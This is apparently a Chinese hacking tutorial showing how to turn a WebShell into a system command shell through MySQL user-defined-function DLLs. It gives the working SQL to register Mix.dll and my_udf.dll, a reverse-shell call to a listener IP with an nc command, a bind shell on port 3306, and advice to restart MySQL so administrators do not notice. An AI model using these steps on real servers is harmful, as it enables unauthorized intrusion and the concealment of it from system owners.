在当今的渗透测试环境中,S-serv 提权几乎已成为标配,这也促使主机安全策略越来越严格。然而,攻击技术的持续演进,从某种程度上确实推动了中国网络安全水平的整体提升——这或许正是矛与盾之间的一种共生关系。早期流行的 pcanywhere 密码提取、服务替换等手法,如今基本已失效。随着安全意识的增强,传统攻击路径逐渐被堵死。
今天分享一种相对冷门但实战价值颇高的提权方式。看过古典 LM 动画的朋友应该不陌生:利用 MySQL 弱口令获取系统权限。虽然依托于 WebShell 环境,但有一个硬性前提——目标主机必须安装了 MySQL,并且你已经获取了其用户名和密码。拿到 WebShell 后,寻找密码通常并不困难。下面以我另一台机器为例进行演示,首先上传 PhpShell,如图 1 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
如何获取连接 MySQL 的账户密码?最直接的方法:随意翻看 PHP 文件,很多情况下明文字段直接暴露在其中。如图 2 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
可以看到:用户名为 root,密码为 123456,数据库名为 php。接下来该怎么做?首先通过 SQL Query 建立连接,如图 3 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
连接成功。现在将提权所需的小工具——Mix.dll 和 My_udf.dll 上传至目标。二者功能不同:Mix.dll 用于反弹连接,My_udf.dll 则实现正向连接——直接连接对方 3306 端口,输入密码即可获得 CMDSHELL。上传完成后,执行以下 SQL 语句注册函数:
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll';
出现“SQL 语句成功执行”提示即表示成功。如图 4 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
离 CMDSHELL 仅一步之遥。先在本地使用 NC 监听一个端口:nc -l -p 1234(此处不再截图)。然后执行语句激活函数:
select Mixconnect('192.168.1.254','1234');
如图 5 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
执行成功后,查看 NC 端是否有回显?如图 6 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
CMDSHELL 已成功获取。不过此时目标 MySQL 进程已处于假死状态——需要将 MySQL 进程终止并重启,否则管理员会发现网站无法正常响应,后果可想而知。另外,如果目标服务器禁止对外连接任何外部 IP 和端口,但 3306 端口却是开放的,此时 My_udf.dll 便派上用场。使用方法与 Mix 类似:连接 MySQL 成功后先注册函数:
create function my_udfdoor returns string soname 'D:\\php\\php\\my_udf.dll';
执行成功后,激活函数:
select my_udfdoor ('');
然后使用 NC 连接 3306 端口,输入密码 f**k,即可获得 CMDSHELL。如图 7 所示。
500)this.width=500" title="点击这里用新窗口浏览图片" />
测试至此结束。这条路径虽然较为传统,但在特定场景下依然有效——前提是目标 MySQL 配置足够疏忽,安全意识有待加强。
